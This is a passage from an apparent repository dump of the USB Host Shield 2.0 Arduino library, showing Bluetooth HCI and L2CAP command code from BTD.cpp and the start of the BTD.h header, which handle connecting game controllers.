Notify(PSTR(\"\\r\\nConnected to Device: \"), 0x80);\n                                for(int8_t i = 5; i > 0; i--) {\n                                        D_PrintHex<uint8_t > (disc_bdaddr[i], 0x80);\n                                        Notify(PSTR(\":\"), 0x80);\n                                }\n                                D_PrintHex<uint8_t > (disc_bdaddr[0], 0x80);\n#endif\n                                if(incomingPS4)\n                                        connectToHIDDevice = true; // We should always connect to the PS4 controller\n\n                                // Clear these flags for a new connection\n                                l2capConnectionClaimed = false;\n                                sdpConnectionClaimed = false;\n                                rfcommConnectionClaimed = false;\n\n                                hci_event_flag = 0;\n                                hci_state = HCI_DONE_STATE;\n                        }\n                        break;\n\n                case HCI_DONE_STATE:\n                        hci_counter++;\n                        if(hci_counter > 1000) { // Wait until we have looped 1000 times to make sure that the L2CAP connection has been started\n                                hci_counter = 0;\n                                hci_state = HCI_SCANNING_STATE;\n                        }\n                        break;\n\n                case HCI_DISCONNECT_STATE:\n                        if(hci_check_flag(HCI_FLAG_DISCONNECT_COMPLETE)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nHCI Disconnected from Device\"), 0x80);\n#endif\n                                hci_event_flag = 0; // Clear all flags\n\n                                // Reset all buffers\n                                memset(hcibuf, 0, BULK_MAXPKTSIZE);\n                                memset(l2capinbuf, 0, BULK_MAXPKTSIZE);\n\n                                connectToWii = incomingWii = pairWithWii = false;\n                                connectToHIDDevice = incomingHIDDevice = pairWithHIDDevice = checkRemoteName = false;\n                                incomingPS4 = false;\n\n                                hci_state = HCI_SCANNING_STATE;\n                        }\n                        break;\n                default:\n                        break;\n        }\n}\n\nvoid BTD::ACL_event_task() {\n        uint16_t length = BULK_MAXPKTSIZE;\n        uint8_t rcode = pUsb->inTransfer(bAddress, epInfo[ BTD_DATAIN_PIPE ].epAddr, &length, l2capinbuf, pollInterval); // Input on endpoint 2\n\n        if(!rcode) { // Check for errors\n                if(length > 0) { // Check if any data was read\n                        for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++) {\n                                if(btService[i])\n                                        btService[i]->ACLData(l2capinbuf);\n                        }\n                }\n        }\n#ifdef EXTRADEBUG\n        else if(rcode != hrNAK) {\n                Notify(PSTR(\"\\r\\nACL data in error: \"), 0x80);\n                D_PrintHex<uint8_t > (rcode, 0x80);\n        }\n#endif\n        for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++)\n                if(btService[i])\n                        btService[i]->Run();\n}\n\n/************************************************************/\n/*                    HCI Commands                        */\n\n/************************************************************/\nvoid BTD::HCI_Command(uint8_t* data, uint16_t nbytes) {\n        hci_clear_flag(HCI_FLAG_CMD_COMPLETE);\n        pUsb->ctrlReq(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, bmREQ_HCI_OUT, 0x00, 0x00, 0x00, 0x00, nbytes, nbytes, data, NULL);\n}\n\nvoid BTD::hci_reset() {\n        hci_event_flag = 0; // Clear all the flags\n        hcibuf[0] = 0x03; // HCI OCF = 3\n        hcibuf[1] = 0x03 << 2; // HCI OGF = 3\n        hcibuf[2] = 0x00;\n\n        HCI_Command(hcibuf, 3);\n}\n\nvoid BTD::hci_write_scan_enable() {\n        hci_clear_flag(HCI_FLAG_INCOMING_REQUEST);\n        hcibuf[0] = 0x1A; // HCI OCF = 1A\n        hcibuf[1] = 0x03 << 2; // HCI OGF = 3\n        hcibuf[2] = 0x01; // parameter length = 1\n        if(btdName != NULL)\n                hcibuf[3] = 0x03; // Inquiry Scan enabled. Page Scan enabled.\n        else\n                hcibuf[3] = 0x02; // Inquiry Scan disabled. Page Scan enabled.\n\n        HCI_Command(hcibuf, 4);\n}\n\nvoid BTD::hci_write_scan_disable() {\n        hcibuf[0] = 0x1A; // HCI OCF = 1A\n        hcibuf[1] = 0x03 << 2; // HCI OGF = 3\n        hcibuf[2] = 0x01; // parameter length = 1\n        hcibuf[3] = 0x00; // Inquiry Scan disabled. Page Scan disabled.\n\n        HCI_Command(hcibuf, 4);\n}\n\nvoid BTD::hci_read_bdaddr() {\n        hci_clear_flag(HCI_FLAG_READ_BDADDR);\n        hcibuf[0] = 0x09; // HCI OCF = 9\n        hcibuf[1] = 0x04 << 2; // HCI OGF = 4\n        hcibuf[2] = 0x00;\n\n        HCI_Command(hcibuf, 3);\n}\n\nvoid BTD::hci_read_local_version_information() {\n        hci_clear_flag(HCI_FLAG_READ_VERSION);\n        hcibuf[0] = 0x01; // HCI OCF = 1\n        hcibuf[1] = 0x04 << 2; // HCI OGF = 4\n        hcibuf[2] = 0x00;\n\n        HCI_Command(hcibuf, 3);\n}\n\nvoid BTD::hci_accept_connection() {\n        hci_clear_flag(HCI_FLAG_CONNECT_COMPLETE);\n        hcibuf[0] = 0x09; // HCI OCF = 9\n        hcibuf[1] = 0x01 << 2; // HCI OGF = 1\n        hcibuf[2] = 0x07; // parameter length 7\n        hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr\n        hcibuf[4] = disc_bdaddr[1];\n        hcibuf[5] = disc_bdaddr[2];\n        hcibuf[6] = disc_bdaddr[3];\n        hcibuf[7] = disc_bdaddr[4];\n        hcibuf[8] = disc_bdaddr[5];\n        hcibuf[9] = 0x00; // Switch role to master\n\n        HCI_Command(hcibuf, 10);\n}\n\nvoid BTD::hci_remote_name() {\n        hci_clear_flag(HCI_FLAG_REMOTE_NAME_COMPLETE);\n        hcibuf[0] = 0x19; // HCI OCF = 19\n        hcibuf[1] = 0x01 << 2; // HCI OGF = 1\n        hcibuf[2] = 0x0A; // parameter length = 10\n        hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr\n        hcibuf[4] = disc_bdaddr[1];\n        hcibuf[5] = disc_bdaddr[2];\n        hcibuf[6] = disc_bdaddr[3];\n        hcibuf[7] = disc_bdaddr[4];\n        hcibuf[8] = disc_bdaddr[5];\n        hcibuf[9] = 0x01; // Page Scan Repetition Mode\n        hcibuf[10] = 0x00; // Reserved\n        hcibuf[11] = 0x00; // Clock offset - low byte\n        hcibuf[12] = 0x00; // Clock offset - high byte\n\n        HCI_Command(hcibuf, 13);\n}\n\nvoid BTD::hci_set_local_name(const char* name) {\n        hcibuf[0] = 0x13; // HCI OCF = 13\n        hcibuf[1] = 0x03 << 2; // HCI OGF = 3\n        hcibuf[2] = strlen(name) + 1; // parameter length = the length of the string + end byte\n        uint8_t i;\n        for(i = 0; i < strlen(name); i++)\n                hcibuf[i + 3] = name[i];\n        hcibuf[i + 3] = 0x00; // End of string\n\n        HCI_Command(hcibuf, 4 + strlen(name));\n}\n\nvoid BTD::hci_inquiry() {\n        hci_clear_flag(HCI_FLAG_DEVICE_FOUND);\n        hcibuf[0] = 0x01;\n        hcibuf[1] = 0x01 << 2; // HCI OGF = 1\n        hcibuf[2] = 0x05; // Parameter Total Length = 5\n        hcibuf[3] = 0x33; // LAP: Genera/Unlimited Inquiry Access Code (GIAC = 0x9E8B33) - see https://www.bluetooth.org/Technical/AssignedNumbers/baseband.htm\n        hcibuf[4] = 0x8B;\n        hcibuf[5] = 0x9E;\n        hcibuf[6] = 0x30; // Inquiry time = 61.44 sec (maximum)\n        hcibuf[7] = 0x0A; // 10 number of responses\n\n        HCI_Command(hcibuf, 8);\n}\n\nvoid BTD::hci_inquiry_cancel() {\n        hcibuf[0] = 0x02;\n        hcibuf[1] = 0x01 << 2; // HCI OGF = 1\n        hcibuf[2] = 0x00; // Parameter Total Length = 0\n\n        HCI_Command(hcibuf, 3);\n}\n\nvoid BTD::hci_connect() {\n        hci_connect(disc_bdaddr); // Use last discovered device\n}\n\nvoid BTD::hci_connect(uint8_t *bdaddr) {\n        hci_clear_flag(HCI_FLAG_CONNECT_COMPLETE | HCI_FLAG_CONNECT_EVENT);\n        hcibuf[0] = 0x05;\n        hcibuf[1] = 0x01 << 2; // HCI OGF = 1\n        hcibuf[2] = 0x0D; // parameter Total Length = 13\n        hcibuf[3] = bdaddr[0]; // 6 octet bdaddr (LSB)\n        hcibuf[4] = bdaddr[1];\n        hcibuf[5] = bdaddr[2];\n        hcibuf[6] = bdaddr[3];\n        hcibuf[7] = bdaddr[4];\n        hcibuf[8] = bdaddr[5];\n        hcibuf[9] = 0x18; // DM1 or DH1 may be used\n        hcibuf[10] = 0xCC; // DM3, DH3, DM5, DH5 may be used\n        hcibuf[11] = 0x01; // Page repetition mode R1\n        hcibuf[12] = 0x00; // Reserved\n        hcibuf[13] = 0x00; // Clock offset\n        hcibuf[14] = 0x00; // Invalid clock offset\n        hcibuf[15] = 0x00; // Do not allow role switch\n\n        HCI_Command(hcibuf, 16);\n}\n\nvoid BTD::hci_pin_code_request_reply() {\n        hcibuf[0] = 0x0D; // HCI OCF = 0D\n        hcibuf[1] = 0x01 << 2; // HCI OGF = 1\n        hcibuf[2] = 0x17; // parameter length 23\n        hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr\n        hcibuf[4] = disc_bdaddr[1];\n        hcibuf[5] = disc_bdaddr[2];\n        hcibuf[6] = disc_bdaddr[3];\n        hcibuf[7] = disc_bdaddr[4];\n        hcibuf[8] = disc_bdaddr[5];\n        if(pairWithWii) {\n                hcibuf[9] = 6; // Pin length is the length of the Bluetooth address\n                if(pairWiiUsingSync) {\n#ifdef DEBUG_USB_HOST\n                        Notify(PSTR(\"\\r\\nPairing with Wii controller via SYNC\"), 0x80);\n#endif\n                        for(uint8_t i = 0; i < 6; i++)\n                                hcibuf[10 + i] = my_bdaddr[i]; // The pin is the Bluetooth dongles Bluetooth address backwards\n                } else {\n                        for(uint8_t i = 0; i < 6; i++)\n                                hcibuf[10 + i] = disc_bdaddr[i]; // The pin is the Wiimote's Bluetooth address backwards\n                }\n                for(uint8_t i = 16; i < 26; i++)\n                        hcibuf[i] = 0x00; // The rest should be 0\n        } else {\n                hcibuf[9] = strlen(btdPin); // Length of pin\n                uint8_t i;\n                for(i = 0; i < strlen(btdPin); i++) // The maximum size of the pin is 16\n                        hcibuf[i + 10] = btdPin[i];\n                for(; i < 16; i++)\n                        hcibuf[i + 10] = 0x00; // The rest should be 0\n        }\n\n        HCI_Command(hcibuf, 26);\n}\n\nvoid BTD::hci_pin_code_negative_request_reply() {\n        hcibuf[0] = 0x0E; // HCI OCF = 0E\n        hcibuf[1] = 0x01 << 2; // HCI OGF = 1\n        hcibuf[2] = 0x06; // parameter length 6\n        hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr\n        hcibuf[4] = disc_bdaddr[1];\n        hcibuf[5] = disc_bdaddr[2];\n        hcibuf[6] = disc_bdaddr[3];\n        hcibuf[7] = disc_bdaddr[4];\n        hcibuf[8] = disc_bdaddr[5];\n\n        HCI_Command(hcibuf, 9);\n}\n\nvoid BTD::hci_link_key_request_negative_reply() {\n        hcibuf[0] = 0x0C; // HCI OCF = 0C\n        hcibuf[1] = 0x01 << 2; // HCI OGF = 1\n        hcibuf[2] = 0x06; // parameter length 6\n        hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr\n        hcibuf[4] = disc_bdaddr[1];\n        hcibuf[5] = disc_bdaddr[2];\n        hcibuf[6] = disc_bdaddr[3];\n        hcibuf[7] = disc_bdaddr[4];\n        hcibuf[8] = disc_bdaddr[5];\n\n        HCI_Command(hcibuf, 9);\n}\n\nvoid BTD::hci_authentication_request() {\n        hcibuf[0] = 0x11; // HCI OCF = 11\n        hcibuf[1] = 0x01 << 2; // HCI OGF = 1\n        hcibuf[2] = 0x02; // parameter length = 2\n        hcibuf[3] = (uint8_t)(hci_handle & 0xFF); //connection handle - low byte\n        hcibuf[4] = (uint8_t)((hci_handle >> 8) & 0x0F); //connection handle - high byte\n\n        HCI_Command(hcibuf, 5);\n}\n\nvoid BTD::hci_disconnect(uint16_t handle) { // This is called by the different services\n        hci_clear_flag(HCI_FLAG_DISCONNECT_COMPLETE);\n        hcibuf[0] = 0x06; // HCI OCF = 6\n        hcibuf[1] = 0x01 << 2; // HCI OGF = 1\n        hcibuf[2] = 0x03; // parameter length = 3\n        hcibuf[3] = (uint8_t)(handle & 0xFF); //connection handle - low byte\n        hcibuf[4] = (uint8_t)((handle >> 8) & 0x0F); //connection handle - high byte\n        hcibuf[5] = 0x13; // reason\n\n        HCI_Command(hcibuf, 6);\n}\n\nvoid BTD::hci_write_class_of_device() { // See http://bluetooth-pentest.narod.ru/software/bluetooth_class_of_device-service_generator.html\n        hcibuf[0] = 0x24; // HCI OCF = 24\n        hcibuf[1] = 0x03 << 2; // HCI OGF = 3\n        hcibuf[2] = 0x03; // parameter length = 3\n        hcibuf[3] = 0x04; // Robot\n        hcibuf[4] = 0x08; // Toy\n        hcibuf[5] = 0x00;\n\n        HCI_Command(hcibuf, 6);\n}\n/*******************************************************************\n *                                                                 *\n *                        HCI ACL Data Packet                      *\n *                                                                 *\n *   buf[0]          buf[1]          buf[2]          buf[3]\n *   0       4       8    11 12      16              24            31 MSB\n *  .-+-+-+-+-+-+-+-|-+-+-+-|-+-|-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.\n *  |      HCI Handle       |PB |BC |       Data Total Length       |   HCI ACL Data Packet\n *  .-+-+-+-+-+-+-+-|-+-+-+-|-+-|-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.\n *\n *   buf[4]          buf[5]          buf[6]          buf[7]\n *   0               8               16                            31 MSB\n *  .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.\n *  |            Length             |          Channel ID           |   Basic L2CAP header\n *  .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.\n *\n *   buf[8]          buf[9]          buf[10]         buf[11]\n *   0               8               16                            31 MSB\n *  .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.\n *  |     Code      |  Identifier   |            Length             |   Control frame (C-frame)\n *  .-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-.   (signaling packet format)\n */\n/************************************************************/\n/*                    L2CAP Commands                        */\n\n/************************************************************/\nvoid BTD::L2CAP_Command(uint16_t handle, uint8_t* data, uint8_t nbytes, uint8_t channelLow, uint8_t channelHigh) {\n        uint8_t buf[8 + nbytes];\n        buf[0] = (uint8_t)(handle & 0xff); // HCI handle with PB,BC flag\n        buf[1] = (uint8_t)(((handle >> 8) & 0x0f) | 0x20);\n        buf[2] = (uint8_t)((4 + nbytes) & 0xff); // HCI ACL total data length\n        buf[3] = (uint8_t)((4 + nbytes) >> 8);\n        buf[4] = (uint8_t)(nbytes & 0xff); // L2CAP header: Length\n        buf[5] = (uint8_t)(nbytes >> 8);\n        buf[6] = channelLow;\n        buf[7] = channelHigh;\n\n        for(uint16_t i = 0; i < nbytes; i++) // L2CAP C-frame\n                buf[8 + i] = data[i];\n\n        uint8_t rcode = pUsb->outTransfer(bAddress, epInfo[ BTD_DATAOUT_PIPE ].epAddr, (8 + nbytes), buf);\n        if(rcode) {\n                delay(100); // This small delay prevents it from overflowing if it fails\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nError sending L2CAP message: 0x\"), 0x80);\n                D_PrintHex<uint8_t > (rcode, 0x80);\n                Notify(PSTR(\" - Channel ID: \"), 0x80);\n                D_PrintHex<uint8_t > (channelHigh, 0x80);\n                Notify(PSTR(\" \"), 0x80);\n                D_PrintHex<uint8_t > (channelLow, 0x80);\n#endif\n        }\n}\n\nvoid BTD::l2cap_connection_request(uint16_t handle, uint8_t rxid, uint8_t* scid, uint16_t psm) {\n        l2capoutbuf[0] = L2CAP_CMD_CONNECTION_REQUEST; // Code\n        l2capoutbuf[1] = rxid; // Identifier\n        l2capoutbuf[2] = 0x04; // Length\n        l2capoutbuf[3] = 0x00;\n        l2capoutbuf[4] = (uint8_t)(psm & 0xff); // PSM\n        l2capoutbuf[5] = (uint8_t)(psm >> 8);\n        l2capoutbuf[6] = scid[0]; // Source CID\n        l2capoutbuf[7] = scid[1];\n\n        L2CAP_Command(handle, l2capoutbuf, 8);\n}\n\nvoid BTD::l2cap_connection_response(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid, uint8_t result) {\n        l2capoutbuf[0] = L2CAP_CMD_CONNECTION_RESPONSE; // Code\n        l2capoutbuf[1] = rxid; // Identifier\n        l2capoutbuf[2] = 0x08; // Length\n        l2capoutbuf[3] = 0x00;\n        l2capoutbuf[4] = dcid[0]; // Destination CID\n        l2capoutbuf[5] = dcid[1];\n        l2capoutbuf[6] = scid[0]; // Source CID\n        l2capoutbuf[7] = scid[1];\n        l2capoutbuf[8] = result; // Result: Pending or Success\n        l2capoutbuf[9] = 0x00;\n        l2capoutbuf[10] = 0x00; // No further information\n        l2capoutbuf[11] = 0x00;\n\n        L2CAP_Command(handle, l2capoutbuf, 12);\n}\n\nvoid BTD::l2cap_config_request(uint16_t handle, uint8_t rxid, uint8_t* dcid) {\n        l2capoutbuf[0] = L2CAP_CMD_CONFIG_REQUEST; // Code\n        l2capoutbuf[1] = rxid; // Identifier\n        l2capoutbuf[2] = 0x08; // Length\n        l2capoutbuf[3] = 0x00;\n        l2capoutbuf[4] = dcid[0]; // Destination CID\n        l2capoutbuf[5] = dcid[1];\n        l2capoutbuf[6] = 0x00; // Flags\n        l2capoutbuf[7] = 0x00;\n        l2capoutbuf[8] = 0x01; // Config Opt: type = MTU (Maximum Transmission Unit) - Hint\n        l2capoutbuf[9] = 0x02; // Config Opt: length\n        l2capoutbuf[10] = 0xFF; // MTU\n        l2capoutbuf[11] = 0xFF;\n\n        L2CAP_Command(handle, l2capoutbuf, 12);\n}\n\nvoid BTD::l2cap_config_response(uint16_t handle, uint8_t rxid, uint8_t* scid) {\n        l2capoutbuf[0] = L2CAP_CMD_CONFIG_RESPONSE; // Code\n        l2capoutbuf[1] = rxid; // Identifier\n        l2capoutbuf[2] = 0x0A; // Length\n        l2capoutbuf[3] = 0x00;\n        l2capoutbuf[4] = scid[0]; // Source CID\n        l2capoutbuf[5] = scid[1];\n        l2capoutbuf[6] = 0x00; // Flag\n        l2capoutbuf[7] = 0x00;\n        l2capoutbuf[8] = 0x00; // Result\n        l2capoutbuf[9] = 0x00;\n        l2capoutbuf[10] = 0x01; // Config\n        l2capoutbuf[11] = 0x02;\n        l2capoutbuf[12] = 0xA0;\n        l2capoutbuf[13] = 0x02;\n\n        L2CAP_Command(handle, l2capoutbuf, 14);\n}\n\nvoid BTD::l2cap_disconnection_request(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid) {\n        l2capoutbuf[0] = L2CAP_CMD_DISCONNECT_REQUEST; // Code\n        l2capoutbuf[1] = rxid; // Identifier\n        l2capoutbuf[2] = 0x04; // Length\n        l2capoutbuf[3] = 0x00;\n        l2capoutbuf[4] = dcid[0];\n        l2capoutbuf[5] = dcid[1];\n        l2capoutbuf[6] = scid[0];\n        l2capoutbuf[7] = scid[1];\n\n        L2CAP_Command(handle, l2capoutbuf, 8);\n}\n\nvoid BTD::l2cap_disconnection_response(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid) {\n        l2capoutbuf[0] = L2CAP_CMD_DISCONNECT_RESPONSE; // Code\n        l2capoutbuf[1] = rxid; // Identifier\n        l2capoutbuf[2] = 0x04; // Length\n        l2capoutbuf[3] = 0x00;\n        l2capoutbuf[4] = dcid[0];\n        l2capoutbuf[5] = dcid[1];\n        l2capoutbuf[6] = scid[0];\n        l2capoutbuf[7] = scid[1];\n\n        L2CAP_Command(handle, l2capoutbuf, 8);\n}\n\nvoid BTD::l2cap_information_response(uint16_t handle, uint8_t rxid, uint8_t infoTypeLow, uint8_t infoTypeHigh) {\n        l2capoutbuf[0] = L2CAP_CMD_INFORMATION_RESPONSE; // Code\n        l2capoutbuf[1] = rxid; // Identifier\n        l2capoutbuf[2] = 0x08; // Length\n        l2capoutbuf[3] = 0x00;\n        l2capoutbuf[4] = infoTypeLow;\n        l2capoutbuf[5] = infoTypeHigh;\n        l2capoutbuf[6] = 0x00; // Result = success\n        l2capoutbuf[7] = 0x00; // Result = success\n        l2capoutbuf[8] = 0x00;\n        l2capoutbuf[9] = 0x00;\n        l2capoutbuf[10] = 0x00;\n        l2capoutbuf[11] = 0x00;\n\n        L2CAP_Command(handle, l2capoutbuf, 12);\n}\n\n/* PS3 Commands - only set Bluetooth address is implemented in this library */\nvoid BTD::setBdaddr(uint8_t* bdaddr) {\n        /* Set the internal Bluetooth address */\n        uint8_t buf[8];\n        buf[0] = 0x01;\n        buf[1] = 0x00;\n\n        for(uint8_t i = 0; i < 6; i++)\n                buf[i + 2] = bdaddr[5 - i]; // Copy into buffer, has to be written reversed, so it is MSB first\n\n        // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0xF5), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data\n        pUsb->ctrlReq(bAddress, epInfo[BTD_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0xF5, 0x03, 0x00, 8, 8, buf, NULL);\n}\n\nvoid BTD::setMoveBdaddr(uint8_t* bdaddr) {\n        /* Set the internal Bluetooth address */\n        uint8_t buf[11];\n        buf[0] = 0x05;\n        buf[7] = 0x10;\n        buf[8] = 0x01;\n        buf[9] = 0x02;\n        buf[10] = 0x12;\n\n        for(uint8_t i = 0; i < 6; i++)\n                buf[i + 1] = bdaddr[i];\n\n        // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0x05), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data\n        pUsb->ctrlReq(bAddress, epInfo[BTD_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0x05, 0x03, 0x00, 11, 11, buf, NULL);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/BTD.h",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef _btd_h_\n#define _btd_h_\n\n#include \"Usb.h\"\n#include \"usbhid.h\"\n\n//PID and VID of the Sony PS3 devices\n#define PS3_VID                 0x054C  // Sony Corporation\n#define PS3_PID                 0x0268  // PS3 Controller DualShock 3\n#define PS3NAVIGATION_PID       0x042F  // Navigation controller\n#define PS3MOVE_PID             0x03D5  // Motion controller\n\n// These dongles do not present themselves correctly, so we have to check for them manually\n#define IOGEAR_GBU521_VID       0x0A5C\n#define IOGEAR_GBU521_PID       0x21E8\n#define BELKIN_F8T065BF_VID     0x050D\n#define BELKIN_F8T065BF_PID     0x065A\n\n/* Bluetooth dongle data taken from descriptors */\n#define BULK_MAXPKTSIZE         64 // Max size for ACL data\n\n// Used in control endpoint header for HCI Commands\n#define bmREQ_HCI_OUT USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE\n\n/* Bluetooth HCI states for hci_task() */\n#define HCI_INIT_STATE                  0\n#define HCI_RESET_STATE                 1\n#define HCI_CLASS_STATE                 2\n#define HCI_BDADDR_STATE                3\n#define HCI_LOCAL_VERSION_STATE         4\n#define HCI_SET_NAME_STATE              5\n#define HCI_CHECK_DEVICE_SERVICE        6\n\n#define HCI_INQUIRY_STATE               7 // These three states are only used if it should pair and connect to a device\n#define HCI_CONNECT_DEVICE_STATE        8\n#define HCI_CONNECTED_DEVICE_STATE      9\n\n#define HCI_SCANNING_STATE              10\n#define HCI_CONNECT_IN_STATE            11\n#define HCI_REMOTE_NAME_STATE           12\n#define HCI_CONNECTED_STATE             13\n#define HCI_DISABLE_SCAN_STATE          14\n#define HCI_DONE_STATE                  15\n#define HCI_DISCONNECT_STATE            16\n\n/* HCI event flags*/\n#define HCI_FLAG_CMD_COMPLETE           (1UL << 0)\n#define HCI_FLAG_CONNECT_COMPLETE       (1UL << 1)\n#define HCI_FLAG_DISCONNECT_COMPLETE    (1UL << 2)\n#define HCI_FLAG_REMOTE_NAME_COMPLETE   (1UL << 3)\n#define HCI_FLAG_INCOMING_REQUEST       (1UL << 4)\n#define HCI_FLAG_READ_BDADDR            (1UL << 5)\n#define HCI_FLAG_READ_VERSION           (1UL << 6)\n#define HCI_FLAG_DEVICE_FOUND           (1UL << 7)\n#define HCI_FLAG_CONNECT_EVENT          (1UL << 8)\n\n/* Macros for HCI event flag tests */\n#define hci_check_flag(flag) (hci_event_flag & (flag))\n#define hci_set_flag(flag) (hci_event_flag |= (flag))\n#define hci_clear_flag(flag) (hci_event_flag &= ~(flag))\n\n/* HCI Events managed */\n#define EV_INQUIRY_COMPLETE                             0x01\n#define EV_INQUIRY_RESULT                               0x02\n#define EV_CONNECT_COMPLETE                             0x03\n#define EV_INCOMING_CONNECT                             0x04\n#define EV_DISCONNECT_COMPLETE                          0x05\n#define EV_AUTHENTICATION_COMPLETE                      0x06\n#define EV_REMOTE_NAME_COMPLETE                         0x07\n#define EV_ENCRYPTION_CHANGE                            0x08\n#define EV_CHANGE_CONNECTION_LINK                       0x09\n#define EV_ROLE_CHANGED                                 0x12\n#define EV_NUM_COMPLETE_PKT                             0x13\n#define EV_PIN_CODE_REQUEST                             0x16\n#define EV_LINK_KEY_REQUEST                             0x17\n#define EV_LINK_KEY_NOTIFICATION                        0x18\n#define EV_DATA_BUFFER_OVERFLOW                         0x1A\n#define EV_MAX_SLOTS_CHANGE                             0x1B\n#define EV_READ_REMOTE_VERSION_INFORMATION_COMPLETE     0x0C\n#define EV_QOS_SETUP_COMPLETE                           0x0D\n#define EV_COMMAND_COMPLETE                             0x0E\n#define EV_COMMAND_STATUS                               0x0F\n#define EV_LOOPBACK_COMMAND                             0x19\n#define EV_PAGE_SCAN_REP_MODE                           0x20\n\n/* Bluetooth states for the different Bluetooth drivers */\n#define L2CAP_WAIT                      0\n#define L2CAP_DONE                      1\n\n/* Used for HID Control channel */\n#define L2CAP_CONTROL_CONNECT_REQUEST   2\n#define L2CAP_CONTROL_CONFIG_REQUEST    3\n#define L2CAP_CONTROL_SUCCESS           4\n#define L2CAP_CONTROL_DISCONNECT        5\n\n/* Used for HID Interrupt channel */\n#define L2CAP_INTERRUPT_SETUP           6\n#define L2CAP_INTERRUPT_CONNECT_REQUEST 7\n#define L2CAP_INTERRUPT_CONFIG_REQUEST  8\n#define L2CAP_INTERRUPT_DISCONNECT      9\n\n/* Used for SDP channel */\n#define L2CAP_SDP_WAIT                  10\n#define L2CAP_SDP_SUCCESS               11\n\n/* Used for RFCOMM channel */\n#define L2CAP_RFCOMM_WAIT               12\n#define L2CAP_RFCOMM_SUCCESS            13\n\n#define L2CAP_DISCONNECT_RESPONSE       14 // Used for both SDP and RFCOMM channel\n\n/* Bluetooth states used by some drivers */\n#define TURN_ON_LED                     17\n#define PS3_ENABLE_SIXAXIS              18\n#define WII_CHECK_MOTION_PLUS_STATE     19\n#define WII_CHECK_EXTENSION_STATE       20\n#define WII_INIT_MOTION_PLUS_STATE      21\n\n/* L2CAP event flags for HID Control channel */\n#define L2CAP_FLAG_CONNECTION_CONTROL_REQUEST           (1UL << 0)\n#define L2CAP_FLAG_CONFIG_CONTROL_SUCCESS               (1UL << 1)\n#define L2CAP_FLAG_CONTROL_CONNECTED                    (1UL << 2)\n#define L2CAP_FLAG_DISCONNECT_CONTROL_RESPONSE          (1UL << 3)\n\n/* L2CAP event flags for HID Interrupt channel */\n#define L2CAP_FLAG_CONNECTION_INTERRUPT_REQUEST         (1UL << 4)\n#define L2CAP_FLAG_CONFIG_INTERRUPT_SUCCESS             (1UL << 5)\n#define L2CAP_FLAG_INTERRUPT_CONNECTED                  (1UL << 6)\n#define L2CAP_FLAG_DISCONNECT_INTERRUPT_RESPONSE        (1UL << 7)\n\n/* L2CAP event flags for SDP channel */\n#define L2CAP_FLAG_CONNECTION_SDP_REQUEST               (1UL << 8)\n#define L2CAP_FLAG_CONFIG_SDP_SUCCESS                   (1UL << 9)\n#define L2CAP_FLAG_DISCONNECT_SDP_REQUEST               (1UL << 10)\n\n/* L2CAP event flags for RFCOMM channel */\n#define L2CAP_FLAG_CONNECTION_RFCOMM_REQUEST            (1UL << 11)\n#define L2CAP_FLAG_CONFIG_RFCOMM_SUCCESS                (1UL << 12)\n#define L2CAP_FLAG_DISCONNECT_RFCOMM_REQUEST            (1UL << 13)\n\n#define L2CAP_FLAG_DISCONNECT_RESPONSE                  (1UL << 14)\n\n/* Macros for L2CAP event flag tests */\n#define l2cap_check_flag(flag) (l2cap_event_flag & (flag))\n#define l2cap_set_flag(flag) (l2cap_event_flag |= (flag))\n#define l2cap_clear_flag(flag) (l2cap_event_flag &= ~(flag))\n\n/* L2CAP signaling commands */\n#define L2CAP_CMD_COMMAND_REJECT        0x01\n#define L2CAP_CMD_CONNECTION_REQUEST    0x02\n#define L2CAP_CMD_CONNECTION_RESPONSE   0x03\n#define L2CAP_CMD_CONFIG_REQUEST        0x04\n#define L2CAP_CMD_CONFIG_RESPONSE       0x05\n#define L2CAP_CMD_DISCONNECT_REQUEST    0x06\n#define L2CAP_CMD_DISCONNECT_RESPONSE   0x07\n#define L2CAP_CMD_INFORMATION_REQUEST   0x0A\n#define 